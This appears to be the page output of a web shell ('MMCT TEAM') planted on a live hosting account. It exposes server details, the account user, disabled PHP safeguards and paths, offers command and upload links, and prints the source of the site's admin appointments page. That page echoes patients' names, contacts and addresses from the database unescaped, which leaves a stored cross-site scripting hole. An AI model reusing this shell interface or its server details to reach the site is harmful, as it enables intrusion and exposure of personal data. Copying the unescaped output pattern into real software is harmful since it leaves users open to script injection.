MMCT TEAM
1Server IP : 2a02:4780:11:1776:0:2637:29db:10  /  Your IP : 216.73.216.15
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/emrskalsi.com/public_html/admin/img/blog-details/../../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/emrskalsi.com/public_html/admin/img/blog-details/../../appointment.php
<?php include('include/sidebar.php'); ?>
<!-- Start Welcome area -->

<?php include('include/header.php'); ?>
<div class="breadcome-area">
    <div class="container-fluid">
        <div class="row">
            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
                <div class="breadcome-list">
                    <div class="row">
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
                            <div class="breadcomb-wp">
                                <div class="breadcomb-icon">
                                    <i class="icon nalika-home"></i>
                                </div>
                                <div class="breadcomb-ctn">
                                    <h2>Appointments </h2>
                                </div>
                            </div>
                        </div>
                        <div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
                            <!-- <div class="breadcomb-report">
                                <button data-toggle="tooltip" data-placement="left" title="Download Report" class="btn"><i class="icon nalika-download"></i></button>
                            </div> -->
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
</div>

<div class="product-status mg-b-30">

    <div class="container-fluid">

        <div class="row">

            <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">

                <div class="product-status-wrap">

                    <h4>Appointments List</h4>

                    <div class="add-product">

                        <!-- <a href="add_agent.php">Add</a> -->

                    </div>

                    <table>

                        <tr>

                            <th>S.NO</th>

                            <th>Name</th>

                            <th>Email</th>

                            <th>Contact</th>
                            <th>State</th>
                            <th>City</th>
                            <th>Pincode</th>


                            <th>Address</th>

                            <th>message</th>
                            <th>Description</th>
                            <th>Date</th>
                            <th>Time</th>

                            <th>Action</th>

                        </tr>
                        <?php
                        $q = "select * from appointment";
                        $query = mysqli_query($conn,$q);
                        $i=1;
                        while($res = mysqli_fetch_array($query)) {

                            ?>
                            <tr>

                                <td><?php echo $i++; ?></td>

                                <td><?php echo $res['name'] ?></td>
                                <td><?php echo $res['email'] ?></td>
                                <td><?php echo $res['phone'] ?></td>
                                <td><?php echo $res['state'] ?></td>
                                <td><?php echo $res['city'] ?></td>
                                <td><?php echo $res['pincode'] ?></td>
                                <td><?php echo $res['address'] ?></td>
                                <td><?php echo $res['other'] ?></td>
                                <td><?php echo $res['description'] ?></td>
                                <td><?php echo $res['date'] ?></td>
                                <td><?php echo $res['time'] ?></td>
                                <td>
                                    <button onclick="del(<?php echo $res['id'] ?>)" data-toggle="tooltip" title="Trash" class="pd-setting-ed"><i class="fa fa-trash-o" aria-hidden="true"></i></button>

                                </td>

                            </tr>
                        <?php } ?>

                        </table>

                   </div>

               </div>

           </div>

       </div>

   </div>
<script>
    function del(e) {
      var verify = confirm("Do you really want to delete!!!");
      if(verify) {
          $.ajax({
              url: "delete.php",
              type: "POST",
              data: {
                  appointment_id: e,
              },
              success: function(response){
                 location.reload();
              },
          })
      }
  }
</script>
   <?php include('include/footer.php'); ?>

MMCT - 2023